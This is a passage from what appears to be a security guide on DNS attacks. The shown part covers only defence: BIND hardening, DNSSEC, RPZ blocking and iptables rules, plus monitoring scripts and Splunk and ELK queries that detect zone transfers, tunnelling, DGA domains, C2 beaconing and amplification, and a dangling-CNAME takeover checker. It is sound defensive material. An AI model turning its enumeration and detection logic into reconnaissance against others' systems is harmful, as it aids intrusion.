"dns.question.name": "example.com"
}
}
}
'Using dnstap:
# Configure BIND to use dnstap
# /etc/named.conf:
options {
dnstap { all; };
dnstap-output unix "/var/run/named/dnstap.sock";
};
# Capture dnstap output
dnstap -u /var/run/named/dnstap.sock | dnstap-ldns
# Filter for specific query types
dnstap -u /var/run/named/dnstap.sock | grep "AXFR"
dnstap -u /var/run/named/dnstap.sock | grep "ANY"DNS Health Monitoring:
#!/bin/bash
# dns_monitor.sh - Monitor DNS server health and detect anomalies
DNS_SERVER="8.8.8.8"
THRESHOLD_RESPONSE_TIME=1000 # milliseconds
ALERT_EMAIL="[email protected]"
monitor_dns_server() {
# Query response time
RESPONSE_TIME=$(dig @$DNS_SERVER example.com | grep "Query time" | awk '{print $4}')
if [ $RESPONSE_TIME -gt $THRESHOLD_RESPONSE_TIME ]; then
echo "ALERT: DNS slow response - ${RESPONSE_TIME}ms" | \
mail -s "DNS Performance Alert" $ALERT_EMAIL
fi
# Check if resolver is open
EXTERNAL_QUERY=$(dig @$DNS_SERVER +short google.com)
if [ ! -z "$EXTERNAL_QUERY" ]; then
echo "WARNING: DNS resolver appears to be open to internet"
fi
# Monitor for NXDOMAIN rate (possible tunneling/DGA)
NXDOMAIN_RATE=$(tail -1000 /var/log/named/queries.log | grep NXDOMAIN | wc -l)
if [ $NXDOMAIN_RATE -gt 100 ]; then
echo "ALERT: High NXDOMAIN rate detected: $NXDOMAIN_RATE/1000 queries"
fi
}
# Run monitoring
monitor_dns_serverExternal DNS Monitoring:
# Monitor for DNS changes (detect hijacking)
#!/bin/bash
DOMAIN="example.com"
EXPECTED_IP="192.0.2.1"
CURRENT_IP=$(dig +short $DOMAIN @8.8.8.8 | tail -1)
if [ "$CURRENT_IP" != "$EXPECTED_IP" ]; then
echo "ALERT: DNS record changed!"
echo "Expected: $EXPECTED_IP"
echo "Current: $CURRENT_IP"
# Check multiple resolvers to confirm
echo "Confirming with multiple resolvers:"
dig +short $DOMAIN @1.1.1.1
dig +short $DOMAIN @208.67.222.222
# Alert
mail -s "DNS Hijacking Alert" [email protected] <<EOF
DNS record for $DOMAIN has changed unexpectedly.
Expected IP: $EXPECTED_IP
Current IP: $CURRENT_IP
EOF
fiBIND Query Log Analysis:
# Enable query logging in BIND
# /etc/named.conf:
logging {
channel queries {
file "/var/log/named/queries.log" versions 3 size 10m;
severity info;
print-time yes;
};
category queries { queries; };
};
# Analyze for suspicious patterns
#!/bin/bash
LOG_FILE="/var/log/named/queries.log"
# Find most queried domains
echo "[+] Top queried domains:"
grep "query:" $LOG_FILE | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
# Find clients making most queries
echo "[+] Top query sources:"
grep "query:" $LOG_FILE | awk '{print $6}' | sort | uniq -c | sort -rn | head -20
# Find AXFR attempts
echo "[+] Zone transfer attempts:"
grep "AXFR" $LOG_FILE
# Find ANY queries (potential amplification recon)
echo "[+] ANY queries:"
grep "query:.*IN ANY" $LOG_FILE
# Find long subdomains (potential tunneling)
echo "[+] Suspiciously long subdomains:"
grep "query:" $LOG_FILE | awk '{print $7}' | awk -F'.' '{print length($1), $0}' | \
awk '$1 > 40 {print $0}' | sort -rn
# Find high-entropy domains (DGA/tunneling)
echo "[+] High-entropy domains:"
grep "query:" $LOG_FILE | awk '{print $7}' | \
python3 -c "
import sys
import math
from collections import Counter
for line in sys.stdin:
domain = line.strip().split('.')[0]
if len(domain) < 10:
continue
# Calculate entropy
counter = Counter(domain)
entropy = -sum(count/len(domain) * math.log2(count/len(domain)) for count in counter.values())
if entropy > 4.0:
print(f'{entropy:.2f} {line.strip()}')
" | sort -rnSplunk DNS Queries:
# Zone transfer attempts
index=dns sourcetype=dns
| search query_type=AXFR
| stats count by src_ip, query
| where count > 0
| table _time, src_ip, query, count
# DNS tunneling indicators
index=dns sourcetype=dns
| eval subdomain_length=len(query)
| where subdomain_length > 40
| stats count by src_ip, query
| sort -count
# High query volume (potential C2 beaconing)
index=dns sourcetype=dns
| bucket _time span=1m
| stats dc(query) as unique_queries, count by src_ip, _time
| where count > 100
| table _time, src_ip, unique_queries, count
# NXDOMAIN anomalies (possible DGA)
index=dns sourcetype=dns response_code=NXDOMAIN
| bucket _time span=5m
| stats count by src_ip, _time
| where count > 50
| table _time, src_ip, count
# Amplification attack detection
index=dns sourcetype=dns query_type=ANY
| stats sum(response_size) as total_bytes, count by dest_ip
| where total_bytes > 1000000
| eval amplification_factor=total_bytes/(count*60)
| table dest_ip, count, total_bytes, amplification_factorELK Stack Queries:
{
"query": {
"bool": {
"must": [
{ "match": { "dns.type": "query" } }
],
"should": [
{ "range": { "dns.question.name.length": { "gte": 40 } } },
{ "match": { "dns.type": "AXFR" } },
{ "match": { "dns.type": "ANY" } }
],
"minimum_should_match": 1
}
},
"aggs": {
"top_sources": {
"terms": {
"field": "source.ip",
"size": 20
}
}
}
}Defense and Hardening
DNS Server Hardening
BIND Configuration Hardening
# /etc/named.conf - Secure configuration
options {
# General security
directory "/var/named";
version "Not Disclosed"; # Hide version
hostname "Not Disclosed"; # Hide hostname
# Restrict recursion
recursion no; # For authoritative servers
# OR for resolvers:
# recursion yes;
# allow-recursion { trusted-networks; };
# Restrict zone transfers
allow-transfer { none; }; # Or specific secondaries
# allow-transfer { secondary-servers; };
# Restrict queries
allow-query { any; }; # For authoritative
# allow-query { trusted-networks; }; # For internal resolver
# Rate limiting (prevent amplification)
rate-limit {
responses-per-second 10;
referrals-per-second 5;
nodata-per-second 5;
nxdomains-per-second 5;
errors-per-second 5;
all-per-second 20;
window 5;
log-only no;
qps-scale 250;
ipv4-prefix-length 24;
ipv6-prefix-length 56;
};
# Minimal responses (prevent reconnaissance)
minimal-responses yes;
minimal-any yes;
# DNSSEC validation (for resolvers)
dnssec-validation auto;
# Disable unnecessary features
empty-zones-enable yes;
allow-new-zones no;
# Query logging
querylog yes;
};
# Zone configuration with transfer restrictions
zone "example.com" IN {
type master;
file "example.com.zone";
allow-transfer { 192.0.2.2; 192.0.2.3; }; # Secondary servers only
allow-query { any; };
notify yes;
};
# Trusted ACL
acl trusted-networks {
10.0.0.0/8;
192.168.0.0/16;
172.16.0.0/12;
localhost;
localnets;
};
acl secondary-servers {
192.0.2.2;
192.0.2.3;
};Implement DNSSEC
# Generate DNSSEC keys
dnssec-keygen -a RSASHA256 -b 2048 -n ZONE example.com # ZSK
dnssec-keygen -a RSASHA256 -b 4096 -n ZONE -f KSK example.com # KSK
# Sign zone
dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \
-N INCREMENT -o example.com -t example.com.zone
# Update named.conf to use signed zone
zone "example.com" IN {
type master;
file "example.com.zone.signed";
key-directory "/var/named/keys";
auto-dnssec maintain;
inline-signing yes;
};
# Verify DNSSEC
delv @localhost example.com
# Publish DS record to parent zone
# Extract DS record:
dnssec-dsfromkey -2 Kexample.com.+008+12345.keyConfigure Response Policy Zones (RPZ)
# Block malicious domains using RPZ
zone "rpz.example.com" {
type master;
file "db.rpz.example.com";
allow-query { none; };
};
# Configure RPZ in options
options {
response-policy {
zone "rpz.example.com";
};
};
# RPZ zone file (db.rpz.example.com)
$TTL 60
@ IN SOA localhost. root.localhost. (
1 ; serial
1h ; refresh
15m ; retry
30d ; expire
1h ; minimum
)
IN NS localhost.
# Block malicious domains
malware.example.com CNAME .
*.phishing.net CNAME .Deploy DNS Firewall Rules
# iptables rules for DNS protection
# Allow DNS from trusted sources only (authoritative server)
iptables -A INPUT -p udp --dport 53 -s trusted-network -j ACCEPT
iptables -A INPUT -p tcp --dport 53 -s trusted-network -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j DROP
iptables -A INPUT -p tcp --dport 53 -j DROP
# Rate limiting (prevent amplification abuse)
iptables -A INPUT -p udp --dport 53 -m hashlimit \
--hashlimit-name dns-query \
--hashlimit-above 50/second \
--hashlimit-burst 100 \
--hashlimit-mode srcip \
--hashlimit-htable-expire 10000 \
-j DROP
# Block AXFR from internet (zone transfer protection)
iptables -A INPUT -p tcp --dport 53 -m string --algo bm --hex-string "|00 00 fc|" -j DROP
# Save rules
iptables-save > /etc/iptables/rules.v4Subdomain Takeover Prevention
# Automated subdomain monitoring script
#!/bin/bash
# monitor_dangling_cnames.sh
DOMAIN="example.com"
OUTPUT_DIR="/var/log/dns-monitor"
mkdir -p $OUTPUT_DIR
# Enumerate all subdomains
subfinder -d $DOMAIN -silent | sort -u > $OUTPUT_DIR/all_subdomains.txt
# Check each subdomain
cat $OUTPUT_DIR/all_subdomains.txt | while read subdomain; do
# Get CNAME
CNAME=$(dig +short CNAME $subdomain 2>/dev/null)
if [ ! -z "$CNAME" ]; then
# Check if CNAME target is resolvable
CNAME_IP=$(dig +short $CNAME 2>/dev/null)
if [ -z "$CNAME_IP" ]; then
echo "[!] WARNING: Dangling CNAME detected!"
echo " Subdomain: $subdomain"
echo " CNAME: $CNAME"
echo " Status: CNAME target does not resolve"
# Alert
echo "Dangling CNAME: $subdomain -> $CNAME" | \
mail -s "DNS Security Alert" [email protected]
# Log finding
echo "$(date): $subdomain -> $CNAME (dangling)" >> $OUTPUT_DIR/dangling_cnames.log
fi
# Check for specific vulnerable services
if echo "$CNAME" | grep -Ei "(github\.io|herokuapp|azurewebsites|s3\.amazonaws)"; then
# Test for takeover
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$subdomain" 2>/dev/null)
if [ "$HTTP_STATUS" == "404" ]; then
echo "[!!] CRITICAL: Subdomain vulnerable to takeover!"
echo " Subdomain: $subdomain"
echo " CNAME: $CNAME"
echo " HTTP Status: 404"
# Critical alert
echo "CRITICAL: Subdomain takeover vulnerability - $subdomain" | \
mail -s "CRITICAL DNS Security Alert" [email protected]
fi
fi
fi
doneReferences
- IETF RFC 1034 - Domain Names: Concepts and Facilities
- IETF RFC 1035 - Domain Names: Implementation and Specification
- IETF RFC 4033-4035 - DNSSEC
- DNS Security Best Practices - NIST
- OWASP - DNS Attacks
- MITRE ATT&CK: T1590.002 - DNS/Passive DNS
- ISC BIND Security Advisories
Next Steps
After understanding DNS attacks:
- Implement DNSSEC on all authoritative zones
- Configure rate limiting and response policies
- Monitor DNS logs for anomalous patterns
- Audit zone transfer permissions regularly
- Deploy DNS firewalls and threat intelligence feeds
- Automate subdomain monitoring for dangling CNAMEs
- Explore related network attack techniques:
Takeaway: DNS attacks exploit the fundamental trust model that underpins internet communications. From zone transfer reconnaissance and cache poisoning to subdomain takeovers and amplification DDoS, adversaries target DNS to redirect traffic, exfiltrate data, and disrupt services at scale. Comprehensive DNS security requires layered defenses: DNSSEC for authenticity, rate limiting for amplification prevention, access controls for zone transfers, continuous monitoring for tunneling and DGA detection, and automated processes for subdomain lifecycle management. Make DNS security a critical component of your network defense strategy, recognizing that DNS compromise can undermine every other security control in your infrastructure.
Last updated on
AWS Security Assessment Methodology
Systematic methodology for AWS security assessments covering IAM analysis, S3 bucket enumeration, EC2 exploitation, and cloud-native attack techniques.
FTP Service Attacks and Exploitation
Complete guide to FTP service exploitation including anonymous authentication, brute-force attacks, FTP bounce attacks, and modern FTP vulnerabilities.